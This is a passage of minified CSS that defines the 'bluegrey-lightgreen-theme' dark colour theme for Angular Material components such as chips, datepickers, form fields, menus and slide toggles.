.mat-checkbox-checked:not(.mat-checkbox-disabled).mat-primary .mat-ripple-element,.bluegrey-lightgreen-theme .mat-checkbox:active:not(.mat-checkbox-disabled).mat-primary .mat-ripple-element{background:#546e7a}.bluegrey-lightgreen-theme .mat-checkbox-checked:not(.mat-checkbox-disabled).mat-accent .mat-ripple-element,.bluegrey-lightgreen-theme .mat-checkbox:active:not(.mat-checkbox-disabled).mat-accent .mat-ripple-element{background:#689f38}.bluegrey-lightgreen-theme .mat-checkbox-checked:not(.mat-checkbox-disabled).mat-warn .mat-ripple-element,.bluegrey-lightgreen-theme .mat-checkbox:active:not(.mat-checkbox-disabled).mat-warn .mat-ripple-element{background:#ff5722}.bluegrey-lightgreen-theme .mat-chip.mat-standard-chip{background-color:#616161;color:#fff}.bluegrey-lightgreen-theme .mat-chip.mat-standard-chip .mat-chip-remove{color:#fff;opacity:.4}.bluegrey-lightgreen-theme .mat-chip.mat-standard-chip:not(.mat-chip-disabled):active{box-shadow:0 3px 3px -2px #0003,0 3px 4px #00000024,0 1px 8px #0000001f}.bluegrey-lightgreen-theme .mat-chip.mat-standard-chip:not(.mat-chip-disabled) .mat-chip-remove:hover{opacity:.54}.bluegrey-lightgreen-theme .mat-chip.mat-standard-chip.mat-chip-disabled{opacity:.4}.bluegrey-lightgreen-theme .mat-chip.mat-standard-chip:after{background:white}.bluegrey-lightgreen-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-primary{background-color:#546e7a;color:#fff}.bluegrey-lightgreen-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-primary .mat-chip-remove{color:#fff;opacity:.4}.bluegrey-lightgreen-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-primary .mat-ripple-element{background-color:#ffffff1a}.bluegrey-lightgreen-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-warn{background-color:#ff5722;color:#fff}.bluegrey-lightgreen-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-warn .mat-chip-remove{color:#fff;opacity:.4}.bluegrey-lightgreen-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-warn .mat-ripple-element{background-color:#ffffff1a}.bluegrey-lightgreen-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-accent{background-color:#689f38;color:#fff}.bluegrey-lightgreen-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-accent .mat-chip-remove{color:#fff;opacity:.4}.bluegrey-lightgreen-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-accent .mat-ripple-element{background-color:#ffffff1a}.bluegrey-lightgreen-theme .mat-table{background:#424242}.bluegrey-lightgreen-theme .mat-table thead,.bluegrey-lightgreen-theme .mat-table tbody,.bluegrey-lightgreen-theme .mat-table tfoot,.bluegrey-lightgreen-theme mat-header-row,.bluegrey-lightgreen-theme mat-row,.bluegrey-lightgreen-theme mat-footer-row,.bluegrey-lightgreen-theme [mat-header-row],.bluegrey-lightgreen-theme [mat-row],.bluegrey-lightgreen-theme [mat-footer-row],.bluegrey-lightgreen-theme .mat-table-sticky{background:inherit}.bluegrey-lightgreen-theme mat-row,.bluegrey-lightgreen-theme mat-header-row,.bluegrey-lightgreen-theme mat-footer-row,.bluegrey-lightgreen-theme th.mat-header-cell,.bluegrey-lightgreen-theme td.mat-cell,.bluegrey-lightgreen-theme td.mat-footer-cell{border-bottom-color:#ffffff1f}.bluegrey-lightgreen-theme .mat-header-cell{color:#ffffffb3}.bluegrey-lightgreen-theme .mat-cell,.bluegrey-lightgreen-theme .mat-footer-cell{color:#fff}.bluegrey-lightgreen-theme .mat-calendar-arrow{fill:#fff}.bluegrey-lightgreen-theme .mat-datepicker-toggle,.bluegrey-lightgreen-theme .mat-datepicker-content .mat-calendar-next-button,.bluegrey-lightgreen-theme .mat-datepicker-content .mat-calendar-previous-button{color:#fff}.bluegrey-lightgreen-theme .mat-calendar-table-header-divider:after{background:rgba(255,255,255,.12)}.bluegrey-lightgreen-theme .mat-calendar-table-header,.bluegrey-lightgreen-theme .mat-calendar-body-label{color:#ffffffb3}.bluegrey-lightgreen-theme .mat-calendar-body-cell-content,.bluegrey-lightgreen-theme .mat-date-range-input-separator{color:#fff;border-color:transparent}.bluegrey-lightgreen-theme .mat-calendar-body-disabled>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){color:#ffffff80}.bluegrey-lightgreen-theme .mat-form-field-disabled .mat-date-range-input-separator{color:#ffffff80}.bluegrey-lightgreen-theme .mat-calendar-body-in-preview{color:#ffffff3d}.bluegrey-lightgreen-theme .mat-calendar-body-today:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){border-color:#ffffff80}.bluegrey-lightgreen-theme .mat-calendar-body-disabled>.mat-calendar-body-today:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){border-color:#ffffff4d}.bluegrey-lightgreen-theme .mat-calendar-body-in-range:before{background:rgba(84,110,122,.2)}.bluegrey-lightgreen-theme .mat-calendar-body-comparison-identical,.bluegrey-lightgreen-theme .mat-calendar-body-in-comparison-range:before{background:rgba(249,171,0,.2)}.bluegrey-lightgreen-theme .mat-calendar-body-comparison-bridge-start:before,.bluegrey-lightgreen-theme [dir=rtl] .mat-calendar-body-comparison-bridge-end:before{background:linear-gradient(to right,rgba(84,110,122,.2) 50%,rgba(249,171,0,.2) 50%)}.bluegrey-lightgreen-theme .mat-calendar-body-comparison-bridge-end:before,.bluegrey-lightgreen-theme [dir=rtl] .mat-calendar-body-comparison-bridge-start:before{background:linear-gradient(to left,rgba(84,110,122,.2) 50%,rgba(249,171,0,.2) 50%)}.bluegrey-lightgreen-theme .mat-calendar-body-in-range>.mat-calendar-body-comparison-identical,.bluegrey-lightgreen-theme .mat-calendar-body-in-comparison-range.mat-calendar-body-in-range:after{background:#a8dab5}.bluegrey-lightgreen-theme .mat-calendar-body-comparison-identical.mat-calendar-body-selected,.bluegrey-lightgreen-theme .mat-calendar-body-in-comparison-range>.mat-calendar-body-selected{background:#46a35e}.bluegrey-lightgreen-theme .mat-calendar-body-selected{background-color:#546e7a;color:#fff}.bluegrey-lightgreen-theme .mat-calendar-body-disabled>.mat-calendar-body-selected{background-color:#546e7a66}.bluegrey-lightgreen-theme .mat-calendar-body-today.mat-calendar-body-selected{box-shadow:inset 0 0 0 1px #fff}.bluegrey-lightgreen-theme .cdk-keyboard-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical),.bluegrey-lightgreen-theme .cdk-program-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#546e7a4d}@media (hover: hover){.bluegrey-lightgreen-theme .mat-calendar-body-cell:not(.mat-calendar-body-disabled):hover>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#546e7a4d}}.bluegrey-lightgreen-theme .mat-datepicker-content{box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f;background-color:#424242;color:#fff}.bluegrey-lightgreen-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-range:before{background:rgba(104,159,56,.2)}.bluegrey-lightgreen-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-identical,.bluegrey-lightgreen-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-comparison-range:before{background:rgba(249,171,0,.2)}.bluegrey-lightgreen-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-bridge-start:before,.bluegrey-lightgreen-theme .mat-datepicker-content.mat-accent [dir=rtl] .mat-calendar-body-comparison-bridge-end:before{background:linear-gradient(to right,rgba(104,159,56,.2) 50%,rgba(249,171,0,.2) 50%)}.bluegrey-lightgreen-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-bridge-end:before,.bluegrey-lightgreen-theme .mat-datepicker-content.mat-accent [dir=rtl] .mat-calendar-body-comparison-bridge-start:before{background:linear-gradient(to left,rgba(104,159,56,.2) 50%,rgba(249,171,0,.2) 50%)}.bluegrey-lightgreen-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-range>.mat-calendar-body-comparison-identical,.bluegrey-lightgreen-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-comparison-range.mat-calendar-body-in-range:after{background:#a8dab5}.bluegrey-lightgreen-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-identical.mat-calendar-body-selected,.bluegrey-lightgreen-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-comparison-range>.mat-calendar-body-selected{background:#46a35e}.bluegrey-lightgreen-theme .mat-datepicker-content.mat-accent .mat-calendar-body-selected{background-color:#689f38;color:#fff}.bluegrey-lightgreen-theme .mat-datepicker-content.mat-accent .mat-calendar-body-disabled>.mat-calendar-body-selected{background-color:#689f3866}.bluegrey-lightgreen-theme .mat-datepicker-content.mat-accent .mat-calendar-body-today.mat-calendar-body-selected{box-shadow:inset 0 0 0 1px #fff}.bluegrey-lightgreen-theme .mat-datepicker-content.mat-accent .cdk-keyboard-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical),.bluegrey-lightgreen-theme .mat-datepicker-content.mat-accent .cdk-program-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#689f384d}@media (hover: hover){.bluegrey-lightgreen-theme .mat-datepicker-content.mat-accent .mat-calendar-body-cell:not(.mat-calendar-body-disabled):hover>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#689f384d}}.bluegrey-lightgreen-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-range:before{background:rgba(255,87,34,.2)}.bluegrey-lightgreen-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-identical,.bluegrey-lightgreen-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-comparison-range:before{background:rgba(249,171,0,.2)}.bluegrey-lightgreen-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-bridge-start:before,.bluegrey-lightgreen-theme .mat-datepicker-content.mat-warn [dir=rtl] .mat-calendar-body-comparison-bridge-end:before{background:linear-gradient(to right,rgba(255,87,34,.2) 50%,rgba(249,171,0,.2) 50%)}.bluegrey-lightgreen-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-bridge-end:before,.bluegrey-lightgreen-theme .mat-datepicker-content.mat-warn [dir=rtl] .mat-calendar-body-comparison-bridge-start:before{background:linear-gradient(to left,rgba(255,87,34,.2) 50%,rgba(249,171,0,.2) 50%)}.bluegrey-lightgreen-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-range>.mat-calendar-body-comparison-identical,.bluegrey-lightgreen-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-comparison-range.mat-calendar-body-in-range:after{background:#a8dab5}.bluegrey-lightgreen-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-identical.mat-calendar-body-selected,.bluegrey-lightgreen-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-comparison-range>.mat-calendar-body-selected{background:#46a35e}.bluegrey-lightgreen-theme .mat-datepicker-content.mat-warn .mat-calendar-body-selected{background-color:#ff5722;color:#fff}.bluegrey-lightgreen-theme .mat-datepicker-content.mat-warn .mat-calendar-body-disabled>.mat-calendar-body-selected{background-color:#ff572266}.bluegrey-lightgreen-theme .mat-datepicker-content.mat-warn .mat-calendar-body-today.mat-calendar-body-selected{box-shadow:inset 0 0 0 1px #fff}.bluegrey-lightgreen-theme .mat-datepicker-content.mat-warn .cdk-keyboard-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical),.bluegrey-lightgreen-theme .mat-datepicker-content.mat-warn .cdk-program-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#ff57224d}@media (hover: hover){.bluegrey-lightgreen-theme .mat-datepicker-content.mat-warn .mat-calendar-body-cell:not(.mat-calendar-body-disabled):hover>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#ff57224d}}.bluegrey-lightgreen-theme .mat-datepicker-content-touch{box-shadow:0 11px 15px -7px #0003,0 24px 38px 3px #00000024,0 9px 46px 8px #0000001f}.bluegrey-lightgreen-theme .mat-datepicker-toggle-active{color:#546e7a}.bluegrey-lightgreen-theme .mat-datepicker-toggle-active.mat-accent{color:#689f38}.bluegrey-lightgreen-theme .mat-datepicker-toggle-active.mat-warn{color:#ff5722}.bluegrey-lightgreen-theme .mat-date-range-input-inner[disabled]{color:#ffffff80}.bluegrey-lightgreen-theme .mat-dialog-container{box-shadow:0 11px 15px -7px #0003,0 24px 38px 3px #00000024,0 9px 46px 8px #0000001f;background:#424242;color:#fff}.bluegrey-lightgreen-theme .mat-divider{border-top-color:#ffffff1f}.bluegrey-lightgreen-theme .mat-divider-vertical{border-right-color:#ffffff1f}.bluegrey-lightgreen-theme .mat-expansion-panel{background:#424242;color:#fff}.bluegrey-lightgreen-theme .mat-expansion-panel:not([class*=mat-elevation-z]){box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.bluegrey-lightgreen-theme .mat-action-row{border-top-color:#ffffff1f}.bluegrey-lightgreen-theme .mat-expansion-panel .mat-expansion-panel-header.cdk-keyboard-focused:not([aria-disabled=true]),.bluegrey-lightgreen-theme .mat-expansion-panel .mat-expansion-panel-header.cdk-program-focused:not([aria-disabled=true]),.bluegrey-lightgreen-theme .mat-expansion-panel:not(.mat-expanded) .mat-expansion-panel-header:hover:not([aria-disabled=true]){background:rgba(255,255,255,.04)}@media (hover: none){.bluegrey-lightgreen-theme .mat-expansion-panel:not(.mat-expanded):not([aria-disabled=true]) .mat-expansion-panel-header:hover{background:#424242}}.bluegrey-lightgreen-theme .mat-expansion-panel-header-title{color:#fff}.bluegrey-lightgreen-theme .mat-expansion-panel-header-description,.bluegrey-lightgreen-theme .mat-expansion-indicator:after{color:#ffffffb3}.bluegrey-lightgreen-theme .mat-expansion-panel-header[aria-disabled=true]{color:#ffffff4d}.bluegrey-lightgreen-theme .mat-expansion-panel-header[aria-disabled=true] .mat-expansion-panel-header-title,.bluegrey-lightgreen-theme .mat-expansion-panel-header[aria-disabled=true] .mat-expansion-panel-header-description{color:inherit}.bluegrey-lightgreen-theme .mat-form-field-label,.bluegrey-lightgreen-theme .mat-hint{color:#ffffffb3}.bluegrey-lightgreen-theme .mat-form-field.mat-focused .mat-form-field-label{color:#546e7a}.bluegrey-lightgreen-theme .mat-form-field.mat-focused .mat-form-field-label.mat-accent{color:#689f38}.bluegrey-lightgreen-theme .mat-form-field.mat-focused .mat-form-field-label.mat-warn{color:#ff5722}.bluegrey-lightgreen-theme .mat-focused .mat-form-field-required-marker{color:#689f38}.bluegrey-lightgreen-theme .mat-form-field-ripple{background-color:#fff}.bluegrey-lightgreen-theme .mat-form-field.mat-focused .mat-form-field-ripple{background-color:#546e7a}.bluegrey-lightgreen-theme .mat-form-field.mat-focused .mat-form-field-ripple.mat-accent{background-color:#689f38}.bluegrey-lightgreen-theme .mat-form-field.mat-focused .mat-form-field-ripple.mat-warn{background-color:#ff5722}.bluegrey-lightgreen-theme .mat-form-field-type-mat-native-select.mat-focused:not(.mat-form-field-invalid) .mat-form-field-infix:after{color:#546e7a}.bluegrey-lightgreen-theme .mat-form-field-type-mat-native-select.mat-focused:not(.mat-form-field-invalid).mat-accent .mat-form-field-infix:after{color:#689f38}.bluegrey-lightgreen-theme .mat-form-field-type-mat-native-select.mat-focused:not(.mat-form-field-invalid).mat-warn .mat-form-field-infix:after{color:#ff5722}.bluegrey-lightgreen-theme .mat-form-field.mat-form-field-invalid .mat-form-field-label,.bluegrey-lightgreen-theme .mat-form-field.mat-form-field-invalid .mat-form-field-label.mat-accent,.bluegrey-lightgreen-theme .mat-form-field.mat-form-field-invalid .mat-form-field-label .mat-form-field-required-marker{color:#ff5722}.bluegrey-lightgreen-theme .mat-form-field.mat-form-field-invalid .mat-form-field-ripple,.bluegrey-lightgreen-theme .mat-form-field.mat-form-field-invalid .mat-form-field-ripple.mat-accent{background-color:#ff5722}.bluegrey-lightgreen-theme .mat-error{color:#ff5722}.bluegrey-lightgreen-theme .mat-form-field-appearance-legacy .mat-form-field-label,.bluegrey-lightgreen-theme .mat-form-field-appearance-legacy .mat-hint{color:#ffffffb3}.bluegrey-lightgreen-theme .mat-form-field-appearance-legacy .mat-form-field-underline{background-color:#ffffffb3}.bluegrey-lightgreen-theme .mat-form-field-appearance-legacy.mat-form-field-disabled .mat-form-field-underline{background-image:linear-gradient(to right,rgba(255,255,255,.7) 0%,rgba(255,255,255,.7) 33%,transparent 0%);background-size:4px 100%;background-repeat:repeat-x}.bluegrey-lightgreen-theme .mat-form-field-appearance-standard .mat-form-field-underline{background-color:#ffffffb3}.bluegrey-lightgreen-theme .mat-form-field-appearance-standard.mat-form-field-disabled .mat-form-field-underline{background-image:linear-gradient(to right,rgba(255,255,255,.7) 0%,rgba(255,255,255,.7) 33%,transparent 0%);background-size:4px 100%;background-repeat:repeat-x}.bluegrey-lightgreen-theme .mat-form-field-appearance-fill .mat-form-field-flex{background-color:#ffffff1a}.bluegrey-lightgreen-theme .mat-form-field-appearance-fill.mat-form-field-disabled .mat-form-field-flex{background-color:#ffffff0d}.bluegrey-lightgreen-theme .mat-form-field-appearance-fill .mat-form-field-underline:before{background-color:#ffffff80}.bluegrey-lightgreen-theme .mat-form-field-appearance-fill.mat-form-field-disabled .mat-form-field-label{color:#ffffff80}.bluegrey-lightgreen-theme .mat-form-field-appearance-fill.mat-form-field-disabled .mat-form-field-underline:before{background-color:transparent}.bluegrey-lightgreen-theme .mat-form-field-appearance-outline .mat-form-field-outline{color:#ffffff4d}.bluegrey-lightgreen-theme .mat-form-field-appearance-outline .mat-form-field-outline-thick{color:#fff}.bluegrey-lightgreen-theme .mat-form-field-appearance-outline.mat-focused .mat-form-field-outline-thick{color:#546e7a}.bluegrey-lightgreen-theme .mat-form-field-appearance-outline.mat-focused.mat-accent .mat-form-field-outline-thick{color:#689f38}.bluegrey-lightgreen-theme .mat-form-field-appearance-outline.mat-focused.mat-warn .mat-form-field-outline-thick,.bluegrey-lightgreen-theme .mat-form-field-appearance-outline.mat-form-field-invalid.mat-form-field-invalid .mat-form-field-outline-thick{color:#ff5722}.bluegrey-lightgreen-theme .mat-form-field-appearance-outline.mat-form-field-disabled .mat-form-field-label{color:#ffffff80}.bluegrey-lightgreen-theme .mat-form-field-appearance-outline.mat-form-field-disabled .mat-form-field-outline{color:#ffffff26}.bluegrey-lightgreen-theme .mat-icon.mat-primary{color:#546e7a}.bluegrey-lightgreen-theme .mat-icon.mat-accent{color:#689f38}.bluegrey-lightgreen-theme .mat-icon.mat-warn{color:#ff5722}.bluegrey-lightgreen-theme .mat-form-field-type-mat-native-select .mat-form-field-infix:after{color:#ffffffb3}.bluegrey-lightgreen-theme .mat-input-element:disabled,.bluegrey-lightgreen-theme .mat-form-field-type-mat-native-select.mat-form-field-disabled .mat-form-field-infix:after{color:#ffffff80}.bluegrey-lightgreen-theme .mat-input-element{caret-color:#546e7a}.bluegrey-lightgreen-theme .mat-input-element::placeholder{color:#ffffff80}.bluegrey-lightgreen-theme .mat-input-element::-moz-placeholder{color:#ffffff80}.bluegrey-lightgreen-theme .mat-input-element::-webkit-input-placeholder{color:#ffffff80}.bluegrey-lightgreen-theme .mat-input-element:-ms-input-placeholder{color:#ffffff80}.bluegrey-lightgreen-theme .mat-input-element:not(.mat-native-select-inline) option{color:#000000de}.bluegrey-lightgreen-theme .mat-input-element:not(.mat-native-select-inline) option:disabled{color:#00000061}.bluegrey-lightgreen-theme .mat-form-field.mat-accent .mat-input-element{caret-color:#689f38}.bluegrey-lightgreen-theme .mat-form-field.mat-warn .mat-input-element,.bluegrey-lightgreen-theme .mat-form-field-invalid .mat-input-element{caret-color:#ff5722}.bluegrey-lightgreen-theme .mat-form-field-type-mat-native-select.mat-form-field-invalid .mat-form-field-infix:after{color:#ff5722}.bluegrey-lightgreen-theme .mat-list-base .mat-list-item,.bluegrey-lightgreen-theme .mat-list-base .mat-list-option{color:#fff}.bluegrey-lightgreen-theme .mat-list-base .mat-subheader{color:#ffffffb3}.bluegrey-lightgreen-theme .mat-list-base .mat-list-item-disabled{background-color:#ffffff1f;color:#ffffff80}.bluegrey-lightgreen-theme .mat-list-option:hover,.bluegrey-lightgreen-theme .mat-list-option:focus,.bluegrey-lightgreen-theme .mat-nav-list .mat-list-item:hover,.bluegrey-lightgreen-theme .mat-nav-list .mat-list-item:focus,.bluegrey-lightgreen-theme .mat-action-list .mat-list-item:hover,.bluegrey-lightgreen-theme .mat-action-list .mat-list-item:focus{background:rgba(255,255,255,.04)}.bluegrey-lightgreen-theme .mat-list-single-selected-option,.bluegrey-lightgreen-theme .mat-list-single-selected-option:hover,.bluegrey-lightgreen-theme .mat-list-single-selected-option:focus{background:rgba(255,255,255,.12)}.bluegrey-lightgreen-theme .mat-menu-panel{background:#424242}.bluegrey-lightgreen-theme .mat-menu-panel:not([class*=mat-elevation-z]){box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.bluegrey-lightgreen-theme .mat-menu-item{background:transparent;color:#fff}.bluegrey-lightgreen-theme .mat-menu-item[disabled],.bluegrey-lightgreen-theme .mat-menu-item[disabled] .mat-menu-submenu-icon,.bluegrey-lightgreen-theme .mat-menu-item[disabled] .mat-icon-no-color{color:#ffffff80}.bluegrey-lightgreen-theme .mat-menu-item .mat-icon-no-color,.bluegrey-lightgreen-theme .mat-menu-submenu-icon{color:#fff}.bluegrey-lightgreen-theme .mat-menu-item:hover:not([disabled]),.bluegrey-lightgreen-theme .mat-menu-item.cdk-program-focused:not([disabled]),.bluegrey-lightgreen-theme .mat-menu-item.cdk-keyboard-focused:not([disabled]),.bluegrey-lightgreen-theme .mat-menu-item-highlighted:not([disabled]){background:rgba(255,255,255,.04)}.bluegrey-lightgreen-theme .mat-paginator{background:#424242}.bluegrey-lightgreen-theme .mat-paginator,.bluegrey-lightgreen-theme .mat-paginator-page-size .mat-select-trigger{color:#ffffffb3}.bluegrey-lightgreen-theme .mat-paginator-decrement,.bluegrey-lightgreen-theme .mat-paginator-increment{border-top:2px solid white;border-right:2px solid white}.bluegrey-lightgreen-theme .mat-paginator-first,.bluegrey-lightgreen-theme .mat-paginator-last{border-top:2px solid white}.bluegrey-lightgreen-theme .mat-icon-button[disabled] .mat-paginator-decrement,.bluegrey-lightgreen-theme .mat-icon-button[disabled] .mat-paginator-increment,.bluegrey-lightgreen-theme .mat-icon-button[disabled] .mat-paginator-first,.bluegrey-lightgreen-theme .mat-icon-button[disabled] .mat-paginator-last{border-color:#ffffff80}.bluegrey-lightgreen-theme .mat-progress-bar-background{fill:#394043}.bluegrey-lightgreen-theme .mat-progress-bar-buffer{background-color:#394043}.bluegrey-lightgreen-theme .mat-progress-bar-fill:after{background-color:#546e7a}.bluegrey-lightgreen-theme .mat-progress-bar.mat-accent .mat-progress-bar-background{fill:#3e4c32}.bluegrey-lightgreen-theme .mat-progress-bar.mat-accent .mat-progress-bar-buffer{background-color:#3e4c32}.bluegrey-lightgreen-theme .mat-progress-bar.mat-accent .mat-progress-bar-fill:after{background-color:#689f38}.bluegrey-lightgreen-theme .mat-progress-bar.mat-warn .mat-progress-bar-background{fill:#643a2d}.bluegrey-lightgreen-theme .mat-progress-bar.mat-warn .mat-progress-bar-buffer{background-color:#643a2d}.bluegrey-lightgreen-theme .mat-progress-bar.mat-warn .mat-progress-bar-fill:after{background-color:#ff5722}.bluegrey-lightgreen-theme .mat-progress-spinner circle,.bluegrey-lightgreen-theme .mat-spinner circle{stroke:#546e7a}.bluegrey-lightgreen-theme .mat-progress-spinner.mat-accent circle,.bluegrey-lightgreen-theme .mat-spinner.mat-accent circle{stroke:#689f38}.bluegrey-lightgreen-theme .mat-progress-spinner.mat-warn circle,.bluegrey-lightgreen-theme .mat-spinner.mat-warn circle{stroke:#ff5722}.bluegrey-lightgreen-theme .mat-radio-outer-circle{border-color:#ffffffb3}.bluegrey-lightgreen-theme .mat-radio-button.mat-primary.mat-radio-checked .mat-radio-outer-circle{border-color:#546e7a}.bluegrey-lightgreen-theme .mat-radio-button.mat-primary .mat-radio-inner-circle,.bluegrey-lightgreen-theme .mat-radio-button.mat-primary .mat-radio-ripple .mat-ripple-element:not(.mat-radio-persistent-ripple),.bluegrey-lightgreen-theme .mat-radio-button.mat-primary.mat-radio-checked .mat-radio-persistent-ripple,.bluegrey-lightgreen-theme .mat-radio-button.mat-primary:active .mat-radio-persistent-ripple{background-color:#546e7a}.bluegrey-lightgreen-theme .mat-radio-button.mat-accent.mat-radio-checked .mat-radio-outer-circle{border-color:#689f38}.bluegrey-lightgreen-theme .mat-radio-button.mat-accent .mat-radio-inner-circle,.bluegrey-lightgreen-theme .mat-radio-button.mat-accent .mat-radio-ripple .mat-ripple-element:not(.mat-radio-persistent-ripple),.bluegrey-lightgreen-theme .mat-radio-button.mat-accent.mat-radio-checked .mat-radio-persistent-ripple,.bluegrey-lightgreen-theme .mat-radio-button.mat-accent:active .mat-radio-persistent-ripple{background-color:#689f38}.bluegrey-lightgreen-theme .mat-radio-button.mat-warn.mat-radio-checked .mat-radio-outer-circle{border-color:#ff5722}.bluegrey-lightgreen-theme .mat-radio-button.mat-warn .mat-radio-inner-circle,.bluegrey-lightgreen-theme .mat-radio-button.mat-warn .mat-radio-ripple .mat-ripple-element:not(.mat-radio-persistent-ripple),.bluegrey-lightgreen-theme .mat-radio-button.mat-warn.mat-radio-checked .mat-radio-persistent-ripple,.bluegrey-lightgreen-theme .mat-radio-button.mat-warn:active .mat-radio-persistent-ripple{background-color:#ff5722}.bluegrey-lightgreen-theme .mat-radio-button.mat-radio-disabled.mat-radio-checked .mat-radio-outer-circle,.bluegrey-lightgreen-theme .mat-radio-button.mat-radio-disabled .mat-radio-outer-circle{border-color:#ffffff80}.bluegrey-lightgreen-theme .mat-radio-button.mat-radio-disabled .mat-radio-ripple .mat-ripple-element,.bluegrey-lightgreen-theme .mat-radio-button.mat-radio-disabled .mat-radio-inner-circle{background-color:#ffffff80}.bluegrey-lightgreen-theme .mat-radio-button.mat-radio-disabled .mat-radio-label-content{color:#ffffff80}.bluegrey-lightgreen-theme .mat-radio-button .mat-ripple-element{background-color:#fff}.bluegrey-lightgreen-theme .mat-select-value{color:#fff}.bluegrey-lightgreen-theme .mat-select-placeholder,.bluegrey-lightgreen-theme .mat-select-disabled .mat-select-value{color:#ffffff80}.bluegrey-lightgreen-theme .mat-select-arrow{color:#ffffffb3}.bluegrey-lightgreen-theme .mat-select-panel{background:#424242}.bluegrey-lightgreen-theme .mat-select-panel:not([class*=mat-elevation-z]){box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.bluegrey-lightgreen-theme .mat-select-panel .mat-option.mat-selected:not(.mat-option-multiple){background:rgba(255,255,255,.12)}.bluegrey-lightgreen-theme .mat-form-field.mat-focused.mat-primary .mat-select-arrow{color:#546e7a}.bluegrey-lightgreen-theme .mat-form-field.mat-focused.mat-accent .mat-select-arrow{color:#689f38}.bluegrey-lightgreen-theme .mat-form-field.mat-focused.mat-warn .mat-select-arrow,.bluegrey-lightgreen-theme .mat-form-field .mat-select.mat-select-invalid .mat-select-arrow{color:#ff5722}.bluegrey-lightgreen-theme .mat-form-field .mat-select.mat-select-disabled .mat-select-arrow{color:#ffffff80}.bluegrey-lightgreen-theme .mat-drawer-container{background-color:#303030;color:#fff}.bluegrey-lightgreen-theme .mat-drawer{background-color:#424242;color:#fff}.bluegrey-lightgreen-theme .mat-drawer.mat-drawer-push{background-color:#424242}.bluegrey-lightgreen-theme .mat-drawer:not(.mat-drawer-side){box-shadow:0 8px 10px -5px #0003,0 16px 24px 2px #00000024,0 6px 30px 5px #0000001f}.bluegrey-lightgreen-theme .mat-drawer-side{border-right:solid 1px rgba(255,255,255,.12)}.bluegrey-lightgreen-theme .mat-drawer-side.mat-drawer-end,.bluegrey-lightgreen-theme [dir=rtl] .mat-drawer-side{border-left:solid 1px rgba(255,255,255,.12);border-right:none}.bluegrey-lightgreen-theme [dir=rtl] .mat-drawer-side.mat-drawer-end{border-left:none;border-right:solid 1px rgba(255,255,255,.12)}.bluegrey-lightgreen-theme .mat-drawer-backdrop.mat-drawer-shown{background-color:#bdbdbd99}.bluegrey-lightgreen-theme .mat-slide-toggle.mat-checked .mat-slide-toggle-thumb{background-color:#689f38}.bluegrey-lightgreen-theme .mat-slide-toggle.mat-checked .mat-slide-toggle-bar{background-color:#689f388a}.bluegrey-lightgreen-theme .mat-slide-toggle.mat-checked .mat-ripple-element{background-color:#689f38}.bluegrey-lightgreen-theme .mat-slide-toggle.mat-primary.mat-checked .mat-slide-toggle-thumb{background-color:#546e7a}.bluegrey-lightgreen-theme .mat-slide-toggle.mat-primary.mat-checked .mat-slide-toggle-bar{background-color:#546e7a8a}.bluegrey-lightgreen-theme .mat-slide-toggle.mat-primary.mat-checked .mat-ripple-element{background-color:#546e7a}.bluegrey-lightgreen-theme .mat-slide-toggle.mat-warn.mat-checked .mat-slide-toggle-thumb{background-color:#ff5722}.bluegrey-lightgreen-theme .mat-slide-toggle.mat-warn.mat-checked .mat-slide-toggle-bar{background-color:#ff57228a}.bluegrey-lightgreen-theme .mat-slide-toggle.mat-warn.mat-checked .mat-ripple-element{background-color:#ff5722}.bluegrey-lightgreen-theme 